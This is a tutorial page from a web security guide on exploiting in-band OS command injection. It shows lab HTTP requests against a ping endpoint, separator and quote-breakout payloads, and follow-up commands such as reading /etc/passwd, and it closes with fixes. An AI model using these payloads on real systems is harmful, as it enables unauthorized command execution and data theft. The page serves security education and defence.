OS Command Injection: The Complete Practical Guide
Classic In-Band OS Command Injection
How to exploit in-band command injection: the separator family, append versus replace, reading output, and breaking out of a mid-argument quote.
Published
In-band command injection is the easiest case and the place to start: the vulnerable feature runs your injected command and the output comes straight back in the response. This page covers the separator family, the difference between appending and replacing a command, and the quoting breakout you need when your input lands mid-argument. Practice on a free live target.
Why in-band is the gentle case
When a shell-backed feature reflects its command output (a ping result, a conversion log, a file listing), any command you inject shows its output too. You get immediate, readable confirmation and can iterate quickly. The whole skill here is choosing a separator the shell honours and, when needed, breaking out of the quoting around your input.
Step 1: find a shell-backed parameter
Look for a value that feeds a system tool, then send a normal value and confirm the command's output is reflected. A diagnostics "ping" endpoint is the classic example:
POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
host=127.0.0.1HTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 msThe response is the raw ping output, which tells you the value reaches a shell command whose result you can see.
Step 2: append a command with a separator
Add a separator and a benign probe like id. The semicolon runs your command after the original:
POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
host=127.0.0.1;idHTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)The uid=... line is id executing on the server. That is confirmed in-band command injection.
The separator family (append vs replace)
Each separator behaves slightly differently, and a filter that catches one often misses another:
host=127.0.0.1;id # run id AFTER ping (both run)
host=127.0.0.1|id # pipe ping's output into id (id ignores stdin, still runs)
host=127.0.0.1&&id # run id only if ping SUCCEEDS
host=127.0.0.1||id # run id only if ping FAILS (use a bad host to force it)
host=;id # ping gets no host and errors, then id runs
host=$(id) # substitute id's output into the ping argumentAppending with ; keeps the original command intact. Using || with a deliberately invalid host (host=notahost||id) runs your command on the failure path, which is handy when the original command must fail for yours to fire.
Breaking out of a quote
If your input is placed inside quotes in the command string, for example ping -c 1 "<input>", a raw separator is treated as literal text and nothing runs. Close the quote first, inject, then reopen so the rest still parses:
host=127.0.0.1";id;" # closes the ", runs id, reopens a "
host=127.0.0.1';id;' # same idea for single quotesWhen a separator seems ignored, assume you are inside quoting and try a breakout before giving up.
Step 3: read what you need
With execution confirmed, run real commands, all reflected in the response:
host=127.0.0.1;cat /etc/passwd
host=127.0.0.1;ls -la /var/www
host=127.0.0.1;uname -aIf at any point the output stops coming back (a filter strips it, or the feature is asynchronous), you are no longer in-band and should switch to blind and out-of-band detection. If a character or keyword is blocked, see filter and blacklist bypass.
Fixing it
- Do not pass input to a shell. Use an argument-array API (
execFile,subprocess.run([...], shell=False)) so your value is one argument, never parsed for separators. - Allow-list the value (a valid hostname or IP) and reject anything else.
- Prefer a native library over shelling out to a tool at all.
Full guidance is in preventing command injection. Next, handle the case where nothing comes back in blind and out-of-band detection, or try an in-band injection on a free lab.
← Back to OS Command Injection: The Complete Practical Guide